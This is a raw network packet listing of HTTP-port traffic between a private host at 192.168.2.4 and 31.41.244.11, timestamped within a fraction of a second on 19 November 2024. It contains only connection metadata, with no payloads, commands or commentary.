Nov 19, 2024 22:07:09.341954947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341968060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341985941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341989040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342004061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342010021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342034101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342051029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342053890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342082977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342098951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342125893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342155933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342170954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342186928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342214108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342217922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342237949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342264891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342266083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342298031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342334986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342339993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342367887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342371941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342386007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342403889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342412949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342422009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342451096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342483044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342485905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342499018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342515945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342531919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342547894 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342566013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342569113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342583895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342602968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342631102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342642069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342657089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342690945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342698097 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342710018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342726946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342734098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342746019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342761993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342767954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342793941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342803001 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342839003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342843056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342861891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342879057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342906952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342911959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342943907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.342945099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342979908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.342991114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343002081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343008041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343025923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343036890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343059063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343082905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343086004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343101978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343131065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343200922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343231916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343246937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343250990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343278885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343282938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343298912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343301058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343324900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343328953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343349934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343362093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343369961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343379974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343405962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343411922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343429089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343446970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343451977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343462944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343491077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343589067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343611956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343628883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343643904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343667984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343688011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343691111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343705893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343732119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343755007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343765974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343781948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343799114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343818903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343828917 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343837976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343852997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343868017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343871117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343903065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343903065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343931913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.343936920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343976021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.343991995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344024897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344042063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344043016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344070911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344088078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344094038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344108105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344134092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344141960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344158888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344175100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344187021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344192028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344207048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344222069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344223976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344240904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344244957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344259024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344269991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344291925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344326973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344360113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344418049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344434977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344451904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344453096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344470024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344487906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344497919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344506979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344527006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344532967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344544888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344562054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344563961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344587088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344611883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344624996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344630003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344647884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344655037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344666958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344676971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344696999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344702959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344721079 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344737053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344754934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344764948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344799042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344815969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344832897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344863892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344876051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344882011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344898939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344913960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344916105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344933987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344949961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.344966888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.344989061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345010042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345015049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345032930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345062017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345082998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345104933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345123053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345138073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345153093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345155001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345172882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345175982 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345191956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345197916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345210075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345221043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345241070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345242977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345259905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345263004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345278978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345288992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345297098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345309019 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345328093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345330000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345346928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345350981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345362902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345371962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345380068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345393896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345412970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345438957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345447063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345459938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345464945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345482111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345489979 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345499992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345510960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345530987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345534086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345552921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345552921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345571041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345577955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345588923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345599890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345604897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345621109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345623016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345648050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345666885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345670938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345689058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345722914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345747948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345757961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345766068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345782995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345799923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345818043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345832109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345849037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345851898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345866919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.345874071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345906973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.345964909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346023083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346074104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346095085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346113920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346148014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346159935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346168995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346178055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346194983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346213102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346229076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346232891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346251011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346270084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346282005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346297026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346298933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346313953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346328020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346332073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346369028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346380949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346390009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346400023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346415997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346431971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346445084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346448898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346482038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346489906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346508026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346514940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346544981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346548080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346563101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346566916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346591949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346609116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346662045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346709013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346740007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346754074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346771955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346782923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346805096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346816063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346836090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346848011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346857071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346873999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346879959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346904993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346906900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346926928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346939087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346952915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346955061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.346983910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.346988916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347035885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347048044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347094059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347109079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347126007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347160101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347184896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347184896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347204924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347223043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347234011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347254992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347259045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347274065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347300053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347594023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347642899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347656012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347703934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347712040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347769022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347814083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347855091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347906113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.347929001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.347974062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348002911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348076105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348079920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348117113 CET	49864	80	192.168.2.4	31.41.244.11
